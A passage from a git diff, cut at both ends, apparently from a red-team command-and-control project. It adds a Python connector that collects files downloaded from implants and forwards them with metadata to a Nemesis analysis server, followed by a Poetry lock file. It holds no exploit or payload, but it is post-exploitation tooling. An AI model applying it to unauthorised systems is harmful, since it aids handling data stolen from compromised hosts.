DataResponse(NemesisMessageId(obj["object_id"])) + + +# coroutine to consume work +async def consumer(queue): + while True: + task: BaseTask = await queue.get() + + print(task) + + +def loop_in_thread(loop): + asyncio.set_event_loop(loop) + loop.run_until_complete(consumer(queue)) + + +# loop = asyncio.get_event_loop() +# t = threading.Thread(target=loop_in_thread, args=(loop,)) +# t.start() + + +@dataclass +class DownloadedFile: + """Represents a file that was downloaded from the implant. + + Attributes: + file_uid (str): Unique name of the file on the current machines disk + path (str): The path of the file on the implant + timestamp (datetime): When the file was downloaded. + + """ + + filename_on_disk: str + path: str + timestamp: datetime + + +def convert_to_nemesis_timestamp(timestamp: datetime) -> str: + """Converts a datetime object to a Nemesis timestamp. + + Args: + timestamp (datetime): The timestamp to convert + + Returns: + str: The timestamp in Nemesis format + """ + return timestamp.strftime("%Y-%m-%dT%H:%M:%S.000Z") + + +class NemesisConnector(BaseBot): + _implant_service: ImplantService + _logger: logging.Logger + + def __init__(self): + super().__init__() + + logging.getLogger().setLevel(logging.DEBUG) + + self._logger = logging.getLogger(__name__) + self._logger.setLevel(logging.DEBUG) + for handler in logger.handlers: + handler.setLevel(logging.DEBUG) + + self._logger.info("Log level: %s", cfg.log_level) + self._implant_service = ImplantService() + self._logger.info("Nemesis Connector is running") + + def get_download_disk_filepath(self, path: str, timestamp: datetime) -> Optional[str]: + """Returns the path to the downloaded file on disk. + + Args: + path (str): Path of the file on the implant + timestamp (datetime): Timestamp of when the task request was sent (NOT the task response timestamp) + + Raises: + Exception: If it cannot access the Downlaods API + Exception: If more than one download is returned + + Returns: + str: The path to the downloaded file on disk + """ + resp = httpx.get(Config.URL_API + "/api/downloads") + + if resp.status_code != 200: + raise Exception(f"Unexpected status code {resp.status_code} when getting downloads") + + timestampStr = timestamp.isoformat() + downloads = resp.json() + download = [x for x in downloads if x["path"] == path and x["timestamp"] == timestampStr] + + if len(download) == 0: + self._logger.error(f"No download found for str path '{path}' and timestamp '{timestampStr}'") + return None + + if len(download) > 1: + raise Exception(f"More than one download found for the path '{path} and timestamp '{timestampStr}'") + + return Config.PATH_SHARED + "/downloads/" + download[0]["uid"] + + def on_task_response(self, task: BaseTask): + # Throwing this onto a queue because these callback functions are synchronous and we don't want to backup other messages + + if task.get_name() != "download": + return + + # Obtain/validate required fields + response_timestamp = task.get_response_timestamp() + if not response_timestamp: + self._logger.error("No response timestamp in download response") + return + + implant_uid = task.get_implant_uid() + if not implant_uid: + self._logger.error("No implant UID in download response") + return + + filename = task.get_response() + if not filename: + self._logger.error("No filename in download response") + return + + file_size = task.get_response_bytes_total() + if not file_size: + self._logger.error("No file_size in download response") + return + + timestamp = task.get_timestamp() + if not timestamp: + self._logger.error("No timestamp in download response") + return + + implant = self._implant_service.get_by_uid(implant_uid) + if not implant: + self._logger.error(f"No implant found for UID '{implant_uid}'") + return + + hostname = implant.get_hostname() + if not hostname: + self._logger.error(f"No hostname found for implant UID '{implant_uid}'") + return + + # Now process the response + download = self.get_download_disk_filepath(filename, timestamp) + if not download: + self._logger.error(f"No download found for the filename '{filename}' and timestamp '{timestamp}'") + return + + try: + client = NemesisApiClient(cfg.url, httpx.BasicAuth(cfg.username, cfg.password)) + fileUploadResp = client.send_file(FileUploadRequest(download)) + + self._logger.info(f"Uploaded file '{filename}' to nemesis! File ID: {fileUploadResp.object_id}. Sending file data message...") + + m = Metadata( + agent_id=implant_uid, + agent_type=NemesisAgent.STAGE1.value, + automated=True, + data_type=NemesisDataType.FileData, + expiration=(response_timestamp + timedelta(days=cfg.expiration_days)), + source=hostname, + project=cfg.project, + timestamp=response_timestamp, + ) + + file_data = FileData(path=filename, size=file_size, object_id=fileUploadResp.object_id) + fdReq = FileDataRequest(metadata=m, data=[file_data]) + + fdResp = client.send_file_data(fdReq) + + self._logger.info(f"Sent file_data message to nemesis! Message ID: {fdResp.object_id}") + + except httpx.HTTPStatusError as e: + self._logger.exception(f"Error sending file data message. Response body: {e.response.text} Exception: {e}") + + def on_new_implant(self, implant: Implant): + self._logger.info(f"New implant: {implant.get_hostname()} ({implant.get_ip()})") diff --git a/cmd/connectors/stage1-connector/poetry.lock b/cmd/connectors/stage1-connector/poetry.lock new file mode 100644 index 0000000..8ad64c2 --- /dev/null +++ b/cmd/connectors/stage1-connector/poetry.lock @@ -0,0 +1,690 @@ +# This file is automatically @generated by Poetry 1.4.0 and should not be changed by hand. + +[[package]] +name = "anyio" +version = "3.6.2" +description = "High level compatibility layer for multiple asynchronous event loop implementations" +category = "main" +optional = false +python-versions = ">=3.6.2" +files = [ + {file = "anyio-3.6.2-py3-none-any.whl", hash = "sha256:fbbe32bd270d2a2ef3ed1c5d45041250284e31fc0a4df4a5a6071842051a51e3"}, + {file = "anyio-3.6.2.tar.gz", hash = "sha256:25ea0d673ae30af41a0c442f81cf3b38c7e79fdc7b60335a4c14e05eb0947421"}, +] + +[package.dependencies] +idna = ">=2.8" +sniffio = ">=1.1" + +[package.extras] +doc = ["packaging", "sphinx-autodoc-typehints (>=1.2.0)", "sphinx-rtd-theme"] +test = ["contextlib2", "coverage[toml] (>=4.5)", "hypothesis (>=4.0)", "mock (>=4)", "pytest (>=7.0)", "pytest-mock (>=3.6.1)", "trustme", "uvloop (<0.15)", "uvloop (>=0.15)"] +trio = ["trio (>=0.16,<0.22)"] + +[[package]] +name = "attrs" +version = "22.2.0" +description = "Classes Without Boilerplate" +category = "dev" +optional = false +python-versions = ">=3.6" +files = [ + {file = "attrs-22.2.0-py3-none-any.whl", hash = "sha256:29e95c7f6778868dbd49170f98f8818f78f3dc5e0e37c0b1f474e3561b240836"}, + {file = "attrs-22.2.0.tar.gz", hash = "sha256:c9227bfc2f01993c03f68db37d1d15c9690188323c067c641f1a35ca58185f99"}, +] + +[package.extras] +cov = ["attrs[tests]", "coverage-enable-subprocess", "coverage[toml] (>=5.3)"] +dev = ["attrs[docs,tests]"] +docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier", "zope.interface"] +tests = ["attrs[tests-no-zope]", "zope.interface"] +tests-no-zope = ["cloudpickle", "cloudpickle", "hypothesis", "hypothesis", "mypy (>=0.971,<0.990)", "mypy (>=0.971,<0.990)", "pympler", "pympler", "pytest (>=4.3.0)", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-mypy-plugins", "pytest-xdist[psutil]", "pytest-xdist[psutil]"] + +[[package]] +name = "black" +version = "22.12.0" +description = "The uncompromising code formatter." +category = "dev" +optional = false +python-versions = ">=3.7" +files = [ + {file = "black-22.12.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9eedd20838bd5d75b80c9f5487dbcb06836a43833a37846cf1d8c1cc01cef59d"}, + {file = "black-22.12.0-cp310-cp310-win_amd64.whl", hash = "sha256:159a46a4947f73387b4d83e87ea006dbb2337eab6c879620a3ba52699b1f4351"}, + {file = "black-22.12.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d30b212bffeb1e252b31dd269dfae69dd17e06d92b87ad26e23890f3efea366f"}, + {file = "black-22.12.0-cp311-cp311-win_amd64.whl", hash = "sha256:7412e75863aa5c5411886804678b7d083c7c28421210180d67dfd8cf1221e1f4"}, + {file = "black-22.12.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c116eed0efb9ff870ded8b62fe9f28dd61ef6e9ddd28d83d7d264a38417dcee2"}, + {file = "black-22.12.0-cp37-cp37m-win_amd64.whl", hash = "sha256:1f58cbe16dfe8c12b7434e50ff889fa479072096d79f0a7f25e4ab8e94cd8350"}, + {file = "black-22.12.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:77d86c9f3db9b1bf6761244bc0b3572a546f5fe37917a044e02f3166d5aafa7d"}, + {file = "black-22.12.0-cp38-cp38-win_amd64.whl", hash = "sha256:82d9fe8fee3401e02e79767016b4907820a7dc28d70d137eb397b92ef3cc5bfc"}, + {file = "black-22.12.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:101c69b23df9b44247bd88e1d7e90154336ac4992502d4197bdac35dd7ee3320"}, + {file = "black-22.12.0-cp39-cp39-win_amd64.whl", hash = "sha256:559c7a1ba9a006226f09e4916060982fd27334ae1998e7a38b3f33a37f7a2148"}, + {file = "black-22.12.0-py3-none-any.whl", hash = "sha256:436cc9167dd28040ad90d3b404aec22cedf24a6e4d7de221bec2730ec0c97bcf"}, + {file = "black-22.12.0.tar.gz", hash = "sha256:229351e5a18ca30f447bf724d007f890f97e13af070bb6ad4c0a441cd7596a2f"}, +] + +[package.dependencies] +click = ">=8.0.0" +mypy-extensions = ">=0.4.3" +pathspec = ">=0.9.0" +platformdirs = ">=2" +tomli = {version = ">=1.1.0", markers = "python_full_version < \"3.11.0a7\""} + +[package.extras] +colorama = ["colorama (>=0.4.3)"] +d = ["aiohttp (>=3.7.4)"] +jupyter = ["ipython (>=7.8.0)", "tokenize-rt (>=3.2.0)"] +uvloop = ["uvloop (>=0.15.2)"] + +[[package]] +name = "certifi" +version = "2022.12.7" +description = "Python package for providing Mozilla's CA Bundle." +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "certifi-2022.12.7-py3-none-any.whl", hash = "sha256:4ad3232f5e926d6718ec31cfc1fcadfde020920e278684144551c91769c7bc18"}, + {file = "certifi-2022.12.7.tar.gz", hash = "sha256:35824b4c3a97115964b408844d64aa14db1cc518f6562e8d7261699d1350a9e3"}, +] + +[[package]] +name = "charset-normalizer" +version = "3.1.0" +description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." +category = "main" +optional = false +python-versions = ">=3.7.0" +files = [ + {file = "charset-normalizer-3.1.0.tar.gz", hash = "sha256:34e0a2f9c370eb95597aae63bf85eb5e96826d81e3dcf88b8886012906f509b5"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e0ac8959c929593fee38da1c2b64ee9778733cdf03c482c9ff1d508b6b593b2b"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d7fc3fca01da18fbabe4625d64bb612b533533ed10045a2ac3dd194bfa656b60"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:04eefcee095f58eaabe6dc3cc2262f3bcd776d2c67005880894f447b3f2cb9c1"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:20064ead0717cf9a73a6d1e779b23d149b53daf971169289ed2ed43a71e8d3b0"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1435ae15108b1cb6fffbcea2af3d468683b7afed0169ad718451f8db5d1aff6f"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c84132a54c750fda57729d1e2599bb598f5fa0344085dbde5003ba429a4798c0"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:75f2568b4189dda1c567339b48cba4ac7384accb9c2a7ed655cd86b04055c795"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:11d3bcb7be35e7b1bba2c23beedac81ee893ac9871d0ba79effc7fc01167db6c"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:891cf9b48776b5c61c700b55a598621fdb7b1e301a550365571e9624f270c203"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:5f008525e02908b20e04707a4f704cd286d94718f48bb33edddc7d7b584dddc1"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:b06f0d3bf045158d2fb8837c5785fe9ff9b8c93358be64461a1089f5da983137"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:49919f8400b5e49e961f320c735388ee686a62327e773fa5b3ce6721f7e785ce"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:22908891a380d50738e1f978667536f6c6b526a2064156203d418f4856d6e86a"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-win32.whl", hash = "sha256:12d1a39aa6b8c6f6248bb54550efcc1c38ce0d8096a146638fd4738e42284448"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:65ed923f84a6844de5fd29726b888e58c62820e0769b76565480e1fdc3d062f8"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:9a3267620866c9d17b959a84dd0bd2d45719b817245e49371ead79ed4f710d19"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6734e606355834f13445b6adc38b53c0fd45f1a56a9ba06c2058f86893ae8017"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f8303414c7b03f794347ad062c0516cee0e15f7a612abd0ce1e25caf6ceb47df"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aaf53a6cebad0eae578f062c7d462155eada9c172bd8c4d250b8c1d8eb7f916a"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3dc5b6a8ecfdc5748a7e429782598e4f17ef378e3e272eeb1340ea57c9109f41"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e1b25e3ad6c909f398df8921780d6a3d120d8c09466720226fc621605b6f92b1"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ca564606d2caafb0abe6d1b5311c2649e8071eb241b2d64e75a0d0065107e62"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b82fab78e0b1329e183a65260581de4375f619167478dddab510c6c6fb04d9b6"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bd7163182133c0c7701b25e604cf1611c0d87712e56e88e7ee5d72deab3e76b5"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:11d117e6c63e8f495412d37e7dc2e2fff09c34b2d09dbe2bee3c6229577818be"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:cf6511efa4801b9b38dc5546d7547d5b5c6ef4b081c60b23e4d941d0eba9cbeb"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:abc1185d79f47c0a7aaf7e2412a0eb2c03b724581139193d2d82b3ad8cbb00ac"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cb7b2ab0188829593b9de646545175547a70d9a6e2b63bf2cd87a0a391599324"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-win32.whl", hash = "sha256:c36bcbc0d5174a80d6cccf43a0ecaca44e81d25be4b7f90f0ed7bcfbb5a00909"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:cca4def576f47a09a943666b8f829606bcb17e2bc2d5911a46c8f8da45f56755"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:0c95f12b74681e9ae127728f7e5409cbbef9cd914d5896ef238cc779b8152373"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fca62a8301b605b954ad2e9c3666f9d97f63872aa4efcae5492baca2056b74ab"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ac0aa6cd53ab9a31d397f8303f92c42f534693528fafbdb997c82bae6e477ad9"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c3af8e0f07399d3176b179f2e2634c3ce9c1301379a6b8c9c9aeecd481da494f"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3a5fc78f9e3f501a1614a98f7c54d3969f3ad9bba8ba3d9b438c3bc5d047dd28"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:628c985afb2c7d27a4800bfb609e03985aaecb42f955049957814e0491d4006d"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:74db0052d985cf37fa111828d0dd230776ac99c740e1a758ad99094be4f1803d"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:1e8fcdd8f672a1c4fc8d0bd3a2b576b152d2a349782d1eb0f6b8e52e9954731d"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:04afa6387e2b282cf78ff3dbce20f0cc071c12dc8f685bd40960cc68644cfea6"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:dd5653e67b149503c68c4018bf07e42eeed6b4e956b24c00ccdf93ac79cdff84"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d2686f91611f9e17f4548dbf050e75b079bbc2a82be565832bc8ea9047b61c8c"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-win32.whl", hash = "sha256:4155b51ae05ed47199dc5b2a4e62abccb274cee6b01da5b895099b61b1982974"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-win_amd64.whl", hash = "sha256:322102cdf1ab682ecc7d9b1c5eed4ec59657a65e1c146a0da342b78f4112db23"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:e633940f28c1e913615fd624fcdd72fdba807bf53ea6925d6a588e84e1151531"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:3a06f32c9634a8705f4ca9946d667609f52cf130d5548881401f1eb2c39b1e2c"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7381c66e0561c5757ffe616af869b916c8b4e42b367ab29fedc98481d1e74e14"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3573d376454d956553c356df45bb824262c397c6e26ce43e8203c4c540ee0acb"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e89df2958e5159b811af9ff0f92614dabf4ff617c03a4c1c6ff53bf1c399e0e1"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:78cacd03e79d009d95635e7d6ff12c21eb89b894c354bd2b2ed0b4763373693b"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:de5695a6f1d8340b12a5d6d4484290ee74d61e467c39ff03b39e30df62cf83a0"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1c60b9c202d00052183c9be85e5eaf18a4ada0a47d188a83c8f5c5b23252f649"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:f645caaf0008bacf349875a974220f1f1da349c5dbe7c4ec93048cdc785a3326"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:ea9f9c6034ea2d93d9147818f17c2a0860d41b71c38b9ce4d55f21b6f9165a11"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:80d1543d58bd3d6c271b66abf454d437a438dff01c3e62fdbcd68f2a11310d4b"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:73dc03a6a7e30b7edc5b01b601e53e7fc924b04e1835e8e407c12c037e81adbd"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:6f5c2e7bc8a4bf7c426599765b1bd33217ec84023033672c1e9a8b35eaeaaaf8"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-win32.whl", hash = "sha256:12a2b561af122e3d94cdb97fe6fb2bb2b82cef0cdca131646fdb940a1eda04f0"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-win_amd64.whl", hash = "sha256:3160a0fd9754aab7d47f95a6b63ab355388d890163eb03b2d2b87ab0a30cfa59"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:38e812a197bf8e71a59fe55b757a84c1f946d0ac114acafaafaf21667a7e169e"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6baf0baf0d5d265fa7944feb9f7451cc316bfe30e8df1a61b1bb08577c554f31"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:8f25e17ab3039b05f762b0a55ae0b3632b2e073d9c8fc88e89aca31a6198e88f"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3747443b6a904001473370d7810aa19c3a180ccd52a7157aacc264a5ac79265e"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b116502087ce8a6b7a5f1814568ccbd0e9f6cfd99948aa59b0e241dc57cf739f"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d16fd5252f883eb074ca55cb622bc0bee49b979ae4e8639fff6ca3ff44f9f854"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:21fa558996782fc226b529fdd2ed7866c2c6ec91cee82735c98a197fae39f706"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6f6c7a8a57e9405cad7485f4c9d3172ae486cfef1344b5ddd8e5239582d7355e"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:ac3775e3311661d4adace3697a52ac0bab17edd166087d493b52d4f4f553f9f0"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:10c93628d7497c81686e8e5e557aafa78f230cd9e77dd0c40032ef90c18f2230"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:6f4f4668e1831850ebcc2fd0b1cd11721947b6dc7c00bf1c6bd3c929ae14f2c7"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:0be65ccf618c1e7ac9b849c315cc2e8a8751d9cfdaa43027d4f6624bd587ab7e"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:53d0a3fa5f8af98a1e261de6a3943ca631c526635eb5817a87a59d9a57ebf48f"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-win32.whl", hash = "sha256:a04f86f41a8916fe45ac5024ec477f41f886b3c435da2d4e3d2709b22ab02af1"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:830d2948a5ec37c386d3170c483063798d7879037492540f10a475e3fd6f244b"}, + {file = "charset_normalizer-3.1.0-py3-none-any.whl", hash = "sha256:3d9098b479e78c85080c98e1e35ff40b4a31d8953102bb0fd7d1b6f8a2111a3d"}, +] + +[[package]] +name = "click" +version = "8.1.3" +description = "Composable command line interface toolkit" +category = "dev" +optional = false +python-versions = ">=3.7" +files = [ + {file = "click-8.1.3-py3-none-any.whl", hash = "sha256:bb4d8133cb15a609f44e8213d9b391b0809795062913b383c62be0ee95b1db48"}, + {file = "click-8.1.3.tar.gz", hash = "sha256:7682dc8afb30297001674575ea00d1814d808d6a36af415a82bd481d37ba7b8e"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "platform_system == \"Windows\""} + +[[package]] +name = "colorama" +version = "0.4.6" +description = "Cross-platform colored terminal text." +category = "dev" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" +files = [ + {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, + {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, +] + +[[package]] +name = "dynaconf" +version = "3.1.12" +description = "The dynamic configurator for your Python Project" +category = "main" +optional = false +python-versions = ">=3.8" +files = [ + {file = "dynaconf-3.1.12-py2.py3-none-any.whl", hash = "sha256:a79d7b3ad4a35af9b576c49f11cd3b23a1b04b87b63a4e9f92cc82f2b0cafeeb"}, + {file = "dynaconf-3.1.12.tar.gz", hash = "sha256:11a60bcd735f82b8a47b288f99e4ffbbd08c6c130a7be93c5d03e93fc260a5e1"}, +] + +[package.extras] +all = ["configobj", "hvac", "redis", "ruamel.yaml"] +configobj = ["configobj"] +ini = ["configobj"] +redis = ["redis"] +test = ["codecov", "configobj", "django", "flake8", "flake8-debugger", "flake8-print", "flake8-todo", "flask (>=0.12)", "hvac", "pep8-naming", "pytest", "pytest-cov", "pytest-mock", "pytest-xdist", "python-dotenv", "radon", "redis", "toml"] +toml = ["toml"] +vault = ["hvac"] +yaml = ["ruamel.yaml"] + +[[package]] +name = "exceptiongroup" +version = "1.1.1" +description = "Backport of PEP 654 (exception groups)" +category = "dev" +optional = false +python-versions = ">=3.7" +files = [ + {file = "exceptiongroup-1.1.1-py3-none-any.whl", hash = "sha256:232c37c63e4f682982c8b6459f33a8981039e5fb8756b2074364e5055c498c9e"}, + {file = "exceptiongroup-1.1.1.tar.gz", hash = "sha256:d484c3090ba2889ae2928419117447a14daf3c1231d5e30d0aae34f354f01785"}, +] + +[package.extras] +test = ["pytest (>=6)"] + +[[package]] +name = "flake8" +version = "5.0.4" +description = "the modular source code checker: pep8 pyflakes and co" +category = "dev" +optional = false +python-versions = ">=3.6.1" +files = [ + {file = "flake8-5.0.4-py2.py3-none-any.whl", hash = "sha256:7a1cf6b73744f5806ab95e526f6f0d8c01c66d7bbe349562d22dfca20610b248"}, + {file = "flake8-5.0.4.tar.gz", hash = "sha256:6fbe320aad8d6b95cec8b8e47bc933004678dc63095be98528b7bdd2a9f510db"}, +] + +[package.dependencies] +mccabe = ">=0.7.0,<0.8.0" +pycodestyle = ">=2.9.0,<2.10.0" +pyflakes = ">=2.5.0,<2.6.0" + +[[package]] +name = "h11" +version = "0.14.0" +description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "h11-0.14.0-py3-none-any.whl", hash = "sha256:e3fe4ac4b851c468cc8363d500db52c2ead036020723024a109d37346efaa761"}, + {file = "h11-0.14.0.tar.gz", hash = "sha256:8f19fbbe99e72420ff35c00b27a34cb9937e902a8b810e2c88300c6f0a3b699d"}, +] + +[[package]] +name = "httpcore" +version = "0.16.3" +description = "A minimal low-level HTTP client." +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "httpcore-0.16.3-py3-none-any.whl", hash = "sha256:da1fb708784a938aa084bde4feb8317056c55037247c787bd7e19eb2c2949dc0"}, + {file = "httpcore-0.16.3.tar.gz", hash = "sha256:c5d6f04e2fc530f39e0c077e6a30caa53f1451096120f1f38b954afd0b17c0cb"}, +] + +[package.dependencies] +anyio = ">=3.0,<5.0" +certifi = "*" +h11 = ">=0.13,<0.15" +sniffio = ">=1.0.0,<2.0.0" + +[package.extras] +http2 = ["h2 (>=3,<5)"] +socks = ["socksio (>=1.0.0,<2.0.0)"] + +[[package]] +name = "httpx" +version = "0.23.3" +description = "The next generation HTTP client." +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "httpx-0.23.3-py3-none-any.whl", hash = "sha256:a211fcce9b1254ea24f0cd6af9869b3d29aba40154e947d2a07bb499b3e310d6"}, + {file = "httpx-0.23.3.tar.gz", hash = "sha256:9818458eb565bb54898ccb9b8b251a28785dd4a55afbc23d0eb410754fe7d0f9"}, +] + +[package.dependencies] +certifi = "*" +httpcore = ">=0.15.0,<0.17.0" +rfc3986 = {version = ">=1.3,<2", extras = ["idna2008"]} +sniffio = "*" + +[package.extras] +brotli = ["brotli", "brotlicffi"] +cli = ["click (>=8.0.0,<9.0.0)", "pygments 